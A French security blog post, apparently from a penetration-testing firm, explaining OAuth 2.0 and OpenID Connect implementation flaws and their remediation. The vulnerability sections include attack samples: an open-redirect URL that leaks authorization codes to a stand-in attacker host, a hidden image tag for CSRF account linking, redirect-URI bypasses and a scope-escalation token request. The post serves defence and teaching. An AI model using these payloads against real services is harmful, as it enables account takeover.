Nouvelle réglementation de cybersécurité 2026 en vigueur au Maroc. Obtenir un audit de conformité gratuit →
← Retour au Blog
Authentification 2026-09-22 ⏱️ 14 min

Vulnérabilités OAuth 2.0 et OpenID Connect : Les Pièges d'Implémentation

L'écosystème numérique contemporain repose quasi exclusivement sur les protocoles d'autorisation déléguée et d'identité fédérée. Qu'un collaborateur clique sur « Se connecter avec Google », « S'identifier via Microsoft Entra ID » ou qu'un développeur autorise une application via GitHub, ce sont les mécanismes combinés d'OAuth 2.0 (RFC 6749) et d'OpenID Connect (OIDC Core 1.0) qui orchestrent ces échanges. Ces technologies permettent à des applications tierces, des clients mobiles et des microservices d'accéder à des ressources protégées sans jamais manipuler ni stocker les mots de passe des utilisateurs finaux.

Cependant, si les spécifications formelles de l'IETF intègrent des garanties cryptographiques robustes, leur mise en œuvre pratique dans les bases de code applicatives recèle de multiples pièges. OAuth 2.0 n'est pas un protocole rigide mais un cadre d'autorisation (authorization framework) qui laisse une grande latitude aux développeurs dans le choix des types de flux, la validation des paramètres et le traitement des jetons. OpenID Connect superpose à cette mécanique une couche d'assertion d'identité via des jetons JWT (ID Tokens), introduisant des exigences complexes de vérification de signature, de chaînes de confiance et d'analyse des revendications (claims).

Lors des missions d'audit et de tests d'intrusion conduites par Cayvora auprès de banques, d'opérateurs télécoms et d'entreprises technologiques, les failles d'implémentation dans OAuth et OIDC figurent régulièrement parmi les vulnérabilités les plus critiques. Elles permettent souvent la prise de contrôle intégrale de comptes (Account Takeover), le piratage préventif d'utilisateurs non encore inscrits, ou l'escalade furtive de privilèges administratifs. Dans ce guide technique approfondi, nous examinons la mécanique du flux d'autorisation par code, décortiquons les faiblesses d'implémentation les plus pernicieuses et présentons les architectures défensives pour y remédier.

1. Fonctionnement Global du Flux d'Autorisation par Code (Authorization Code Grant)

Pour déceler les failles de sécurité, il est indispensable de maîtriser le cycle de vie du flux d'autorisation par code (Authorization Code Grant). Ce flux constitue la référence absolue pour les applications web avec backend confidentiel, car les jetons d'accès hautement sensibles sont transmis via des requêtes HTTP directes de serveur à serveur (back-channel), à l'abri des regards indiscrets du navigateur web.

Anatomie Étape par Étape du Flux

  1. Initialisation et Redirection de l'Utilisateur : L'utilisateur clique sur « Connexion SSO » sur le portail client (https://client.com). Le navigateur est redirigé vers le point de terminaison d'autorisation du Fournisseur d'Identité (Identity Provider ou IdP) : 
    GET /auth?
  response_type=code
  &client_id=client_app_88192
  &redirect_uri=https%3A%2F%2Fclient.com%2Foauth%2Fcallback
  &scope=openid%20profile%20email
  &state=c89f1a0e4b2d9e71f45 HTTP/1.1
Host: idp.entreprise.ma
  2. Authentification et Consentement : L'IdP procède à l'authentification de l'utilisateur (mot de passe, clé FIDO2, MFA) et sollicite son consentement pour les permissions demandées (scopes).
  3. Émission du Code d'Autorisation Éphémère : Une fois le consentement accordé, l'IdP émet un code d'autorisation à usage unique et redirige le navigateur vers l'adresse redirect_uri convenue : 
    HTTP/1.1 302 Found
Location: https://client.com/oauth/callback?code=SPL-992147-AUTHCODE&state=c89f1a0e4b2d9e71f45
  4. Échange du Code Côté Serveur (Canal Arrière / Back-Channel) : Le serveur backend de l'application cliente intercepte le code, vérifie la concordance du paramètre state, puis émet une requête POST directe vers le point de terminaison de jetons (Token Endpoint) de l'IdP en s'authentifiant avec son secret confidentiel (client_secret) : 
    POST /token HTTP/1.1
Host: idp.entreprise.ma
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code
&code=SPL-992147-AUTHCODE
&redirect_uri=https%3A%2F%2Fclient.com%2Foauth%2Fcallback
&client_id=client_app_88192
&client_secret=cle_secrete_ultra_confidentielle
  5. Délivrance des Jetons : L'IdP valide le code d'autorisation, l'identité du client et la correspondance exacte de l'URI de redirection. En cas de succès, il transmet au backend le jeton d'accès (access_token) et, dans le cadre d'OIDC, le jeton d'identité signé (id_token) : 
    {
  "access_token": "eyJhbGciOi...",
  "token_type": "Bearer",
  "expires_in": 3600,
  "id_token": "eyJhbGciOiJSUzI1NiIsIn..."
}

Puisque ce protocole enchaîne plusieurs redirections de navigateur, des paramètres d'URL, des cookies de session et des appels d'API directs entre domaines hétérogènes, le moindre relâchement dans les contrôles de validation détruit l'intégrité de toute la chaîne de confiance.

2. Vulnérabilité 1 — Validation Défaillante du Paramètre redirect_uri

Le paramètre redirect_uri informe le Fournisseur d'Identité de la destination précise où acheminer le code d'autorisation une fois la phase d'authentification réussie. Si un cyberattaquant parvient à dévier cette redirection vers une ressource sous son contrôle, le code secret de la victime lui est directement livré.

Correspondance Stricte vs Expressions Régulières et Préfixes Laxes

La norme RFC 6749 stipule sans équivoque que les serveurs d'autorisation doivent exiger une concordance exacte caractère par caractère entre l'URI fournie dans la requête et la liste blanche préenregistrée par l'application cliente. Malheureusement, de nombreux développeurs utilisent des validations par expressions régulières, des correspondances partielles par préfixe ou des jokers de sous-domaines (ex: https://*.client.com/callback).

Ces approximations ouvrent des brèches critiques :

  • Traversée de Répertoires (Path Traversal) : Si l'IdP se contente de vérifier que l'URI commence par https://client.com/oauth/callback, un attaquant peut ajouter des séquences d'échappement : 
    https://idp.entreprise.ma/auth?client_id=xyz&redirect_uri=https://client.com/oauth/callback/../../page_attaquant
    Lorsque le serveur web normalise le chemin, le navigateur de la victime atterrit sur une page non sécurisée.
  • Sous-domaines Orphelins (Subdomain Takeover) : En autorisant les jokers de sous-domaines, si l'entreprise possède un enregistrement CNAME pointant vers un service cloud abandonné (ex: promo2024.client.com), l'attaquant peut réserver ce sous-domaine sur le cloud et intercepter tous les codes d'autorisation qui y sont redirigés.
  • Contournement d'Expressions Régulières : Une regex mal construite telle que ^https://client\.com validera sans difficulté https://client.com.domaine-attaquant.com ou https://[email protected].

Chaînage avec une Redirection Ouverte (Open Redirect) et Fuite via l'En-tête Referer

Même lorsque le Fournisseur d'Identité limite scrupuleusement l'URI au domaine principal de l'entreprise cliente, l'existence d'une simple faille de redirection ouverte (Open Redirect) sur ce domaine permet d'exfiltrer le code par rebond :

https://idp.entreprise.ma/auth?
  client_id=app_prod
  &redirect_uri=https%3A%2F%2Fclient.com%2Fredirect%3Fdestination%3Dhttps%3A%2F%2Fattaquant.com%2Flogger
  &response_type=code

Voici le scénario d'exploitation :

  1. L'IdP valide que https://client.com/redirect appartient bien au domaine légitime et redirige le navigateur avec le code secret : https://client.com/redirect?destination=https://attaquant.com/logger&code=SECRET_AUTH_CODE.
  2. Le script de redirection du site client renvoie immédiatement un code HTTP 302 vers le serveur malveillant : https://attaquant.com/logger.
  3. Le navigateur exécute la redirection et transmet l'en-tête HTTP Referer contenant l'URL complète précédente : 
    GET /logger HTTP/1.1
Host: attaquant.com
Referer: https://client.com/redirect?destination=https://attaquant.com/logger&code=SECRET_AUTH_CODE

Les journaux du serveur de l'attaquant enregistrent immédiatement le code d'autorisation encore valide. L'adversaire n'a plus qu'à envoyer ce code au point de terminaison de jetons pour s'emparer de la session de la victime.

3. Vulnérabilité 2 — Absence ou Faiblesse du Paramètre state : Attaques CSRF et Liaison de Compte Forcée

L'attaque par falsification de requête intersites (CSRF) appliquée aux points de retour OAuth constitue une menace redoutable souvent mal comprise. Le rôle fondamental du paramètre state est de lier cryptographiquement la demande d'autorisation initiale à la session active du navigateur qui l'a émise.

Prise de Contrôle par Liaison de Compte (Account Linking Attack)

Considérons une plateforme d'entreprise qui offre aux utilisateurs la possibilité de lier un compte tiers pour simplifier leurs connexions futures (par exemple : « Associer votre profil Google » ou « Lier votre compte GitHub »). En l'absence de vérification rigoureuse du paramètre state, un pirate peut exécuter l'attaque suivante :

  1. Initialisation par l'Attaquant : L'attaquant clique sur « Associer mon compte » sur le site client en étant connecté à son propre compte tiers personnel.
  2. Capture du Code d'Autorisation : L'IdP génère un code lié à l'identité du pirate et redirige vers : 
    https://client.com/oauth/callback?code=CODE_ATTAQUANT
  3. Interception et Mise en Attente : À l'aide de Burp Suite, le pirate intercepte la requête avant qu'elle n'atteigne le serveur client. Le code d'autorisation reste valide pendant sa durée de vie (de 60 à 300 secondes).
  4. Piégeage de la Cible : L'attaquant force la victime à soumettre cette URL, par exemple en l'insérant dans une balise image cachée sur un site web piégé : 
    <img src="https://client.com/oauth/callback?code=CODE_ATTAQUANT" style="display:none;" />
  5. Association Furtive : Lorsque la victime visite la page malveillante, son navigateur exécute la requête en incluant automatiquement ses cookies de session authentifiée sur client.com. Faute de paramètre state pour attester de l'origine de la demande, le serveur associe l'identité tierce du pirate au compte utilisateur de la victime.
  6. Accès Illimité : L'attaquant retourne sur le site client, clique sur « Connexion avec Google », s'authentifie avec son propre compte, et se retrouve instantanément propulsé dans la session de la victime avec accès à toutes ses données sensibles.

La variante inverse, nommée Login CSRF, contraint la victime à se connecter à son insu sur le compte de l'attaquant. La victime y saisit ensuite des informations confidentielles (moyens de paiement, documents internes) que le pirate récupère ultérieurement.

4. Vulnérabilité 3 — Attaques par Déclassement PKCE (Proof Key for Code Exchange)

Conçu initialement dans la norme RFC 7636 pour protéger les clients publics (applications mobiles natives et Single-Page Applications) incapables de protéger un secret d'application, le mécanisme PKCE est désormais prescrit pour l'ensemble des clients, y compris les backends confidentiels.

Fonctionnement Fondamental de PKCE

  1. L'application cliente génère un secret aléatoire à haute entropie : le code_verifier.
  2. Elle calcule son empreinte cryptographique SHA-256 : code_challenge = BASE64URL(SHA256(code_verifier)).
  3. Elle envoie ce code_challenge avec la méthode code_challenge_method=S256 lors de la requête d'autorisation initiale.
  4. Lors de l'échange du code sur le canal sécurisé /token, le client transmet le code_verifier original en clair.
  5. L'IdP applique la fonction de hachage au vérificateur reçu et le compare au challenge initialement mémorisé. En cas de concordance, les jetons sont émis.

Scénarios de Déclassement (Downgrade Attacks)

Même si un attaquant intercepte le code d'autorisation en transit, il ne peut théoriquement pas l'échanger sans posséder le code_verifier qui n'a jamais circulé dans l'URL du navigateur. Toutefois, des faiblesses d'implémentation au niveau du serveur d'autorisation anéantissent cette protection :

  • Acceptation de Requêtes sans PKCE (Rétrocompatibilité Dangereuse) : Si l'IdP autorise un client à omettre le paramètre code_challenge et bascule automatiquement sur l'ancien flux non protégé, un pirate peut initier une requête sans PKCE ou retirer le vérificateur lors de l'échange final.
  • Prise en Charge de la Méthode plain : La RFC 7636 mentionne une méthode dégradée où code_challenge == code_verifier. Si le serveur autorise la valeur plain, toute interception de l'URL initiale livre le vérificateur en clair à l'attaquant.
  • Désactivation de PKCE pour les Clients Confidentiels : Certains serveurs dispensent les clients de vérifier le challenge PKCE dès lors qu'un client_secret valide est transmis. Si ce secret a fuité (dépôt Git public, variable mal configurée), les codes interceptés sont immédiatement échangeables.

5. Vulnérabilité 4 — Extension de Périmètre (Scope Expansion) et Élévation de Privilèges

Le paramètre scope délimite strictement l'étendue des autorisations accordées à une application. Les erreurs d'implémentation relatives aux périmètres de droits permettent à des applications compromises ou malveillantes d'étendre unilatéralement leurs accès.

Élévation Non Contrôlée lors de l'Échange de Jetons

Lors de la phase d'autorisation dans le navigateur, l'utilisateur donne son consentement pour un périmètre restreint (ex: scope=read:profile). Une faille majeure survient lorsque le backend de l'application cliente transmet au point de terminaison /token une liste de scopes élargie sans que l'utilisateur en ait été averti :

POST /token HTTP/1.1
Host: idp.entreprise.ma
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code
&code=AUTH_CODE
&redirect_uri=https://client.com/callback
&client_id=client_app
&client_secret=secret
&scope=read:profile write:admin delete:all

Si le serveur d'autorisation ne s'assure pas que les scopes demandés au point d'échange constituent un sous-ensemble strict de ceux approuvés lors de l'écran de consentement, il délivre un jeton doté de privilèges d'administration totale.

Prise de Contrôle Préventive (Pre-Account Takeover) via les E-mails Non Vérifiés

Dans les fédérations OpenID Connect, les applications clientes apparient couramment l'identité entrante avec leurs comptes utilisateurs internes sur la base du champ email extrait du jeton JWT id_token. Cette pratique engendre un risque critique d'usurpation préalable :

  1. La victime possède un compte professionnel actif sur https://target-saas.com avec l'adresse [email protected].
  2. L'attaquant constate que la plateforme permet la connexion via un IdP externe secondaire autorisant l'enregistrement sans vérification préalable d'e-mail.
  3. Le pirate crée un compte sur cet IdP externe avec l'adresse [email protected] sans valider le courriel de confirmation.
  4. L'attaquant se connecte sur target-saas.com via cet IdP tiers.
  5. L'application cliente extrait le champ "email": "[email protected]" du jeton d'identité.
  6. Parce que le développeur a omis de vérifier la présence et la valeur du champ booléen "email_verified": true, l'application associe aveuglément la session au compte du dirigeant et connecte le pirate avec les privilèges légitimes de la cible.

6. Guide d'Ingénierie Défensive et de Remédiation

La sécurisation d'une infrastructure basée sur OAuth 2.0 et OpenID Connect exige la mise en œuvre de contrôles rigoureux au niveau du serveur d'autorisation comme de l'application cliente.

6.1 Filtrage Strict par Liste Blanche Exacte des redirect_uri

Bannissez impérativement les expressions régulières, les correspondances partielles et les jokers. L'URI reçue doit être comparée à l'identique avec les adresses enregistrées dans la configuration sécurisée du serveur d'autorisation :

// Vulnérable : Correspondance par préfixe
if (uriRecue.startsWith("https://client.com/oauth/callback")) { /* Autoriser */ }

// Sécurisé : Comparaison stricte caractère par caractère
const URIS_AUTORISEES = new Set([
  "https://client.com/oauth/callback",
  "https://app.client.com/auth/oidc/callback"
]);

if (!URIS_AUTORISEES.has(uriRecue)) {
  throw new Error("Accès refusé : redirect_uri non enregistrée.");
}

6.2 Gestion Cryptographique Rigoureuse du Paramètre state

L'application cliente doit générer un jeton cryptographiquement aléatoire et imprévisible pour chaque cycle d'authentification. Ce jeton doit être sauvegardé dans un cookie chiffré, muni des attributs HttpOnly, Secure et SameSite=Lax. Au retour de la redirection, la correspondance exacte doit être vérifiée avant de procéder à l'échange du code :

const crypto = require('crypto');

// 1. Avant la redirection vers l'IdP
const jetonState = crypto.randomBytes(32).toString('hex');
res.cookie('oauth_state', jetonState, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  maxAge: 300000 // Expiration à 5 minutes
});

const urlAuth = `https://idp.entreprise.ma/auth?response_type=code&client_id=${CLIENT_ID}&redirect_uri=${encodeURIComponent(REDIRECT_URI)}&state=${jetonState}&scope=openid%20profile%20email`;
res.redirect(urlAuth);

// 2. Traitement du retour sur la route callback
app.get('/oauth/callback', async (req, res) => {
  const { code, state } = req.query;
  const stateStocke = req.cookies.oauth_state;

  if (!state || !stateStocke || !crypto.timingSafeEqual(Buffer.from(state), Buffer.from(stateStocke))) {
    res.clearCookie('oauth_state');
    return res.status(403).send('Échec du contrôle CSRF : jeton state invalide.');
  }

  res.clearCookie('oauth_state');
  // Poursuite de l'échange du code d'autorisation...
});

6.3 Imposition Systématique de PKCE avec Hachage S256

Rendez PKCE obligatoire pour toutes les applications clientes sans exception. Refusez catégoriquement la méthode code_challenge_method=plain et n'autorisez que la transformation S256. Rejetez immédiatement toute requête d'autorisation ne contenant pas de challenge cryptographique.

6.4 Durée de Vie Très Courte et Usage Unique des Codes

  • Durée de Vie Inférieure à 60 Secondes : Les codes d'autorisation ne doivent jamais avoir une durée de validité excédant 60 secondes.
  • Révocation Automatique en Cas de Réutilisation : Chaque code doit être détruit dès sa première utilisation. Si un code déjà échangé est présenté une seconde fois, l'IdP doit invalider rétroactivement tous les jetons précédemment émis liés à cette session, ce qui neutralise toute interception en cours.

6.5 Validation Rigoureuse des Revendications et Ré-authentification

  • Contrôle Impératif du Statut de l'E-mail : Ne liez jamais un compte sans vous assurer que le jeton contient expressément "email_verified": true.
  • Ré-authentification pour les Actions Sensibles : Exigez la saisie du mot de passe principal ou la validation d'un facteur MFA avant d'autoriser l'association d'un nouveau compte tiers à un profil existant.
  • Vérification Cryptographique des Jetons JWT : Validez la signature des jetons à l'aide des clés publiques publiées par le serveur (JWKS) en vérifiant scrupuleusement les champs iss (émetteur), aud (audience) et exp (date d'expiration). Bannissez formellement l'algorithme none.

Conclusion : Protéger la Gestion des Identités en Entreprise

La fédération d'identités et l'autorisation déléguée via OAuth 2.0 et OpenID Connect forment le socle fondamental de la sécurité applicative moderne. Néanmoins, l'adoption d'un standard de haut niveau ne garantit pas à elle seule l'invulnérabilité du système si l'implémentation souffre de raccourcis techniques. Une simple omission de validation du paramètre state ou une expression régulière permissive sur l'URL de retour suffit à compromettre l'intégralité des accès de l'organisation.

En imposant des listes blanches d'adresses strictes, en généralisant PKCE avec hachage SHA-256, en sécurisant la gestion des états de session et en soumettant vos flux d'authentification à des audits de sécurité réguliers, vous garantissez la confidentialité et la résilience de vos systèmes d'information.

Auditez votre architecture d'authentification avec Cayvora

Les mauvaises configurations OAuth 2.0 et OpenID Connect permettent aux attaquants de détourner des comptes, de contourner l'authentification unique (SSO) et d'infiltrer les systèmes internes de l'entreprise. Faites appel à Cayvora Security pour un audit approfondi de vos flux d'identité.

✉️ Demander un audit d'authentification

Articles connexes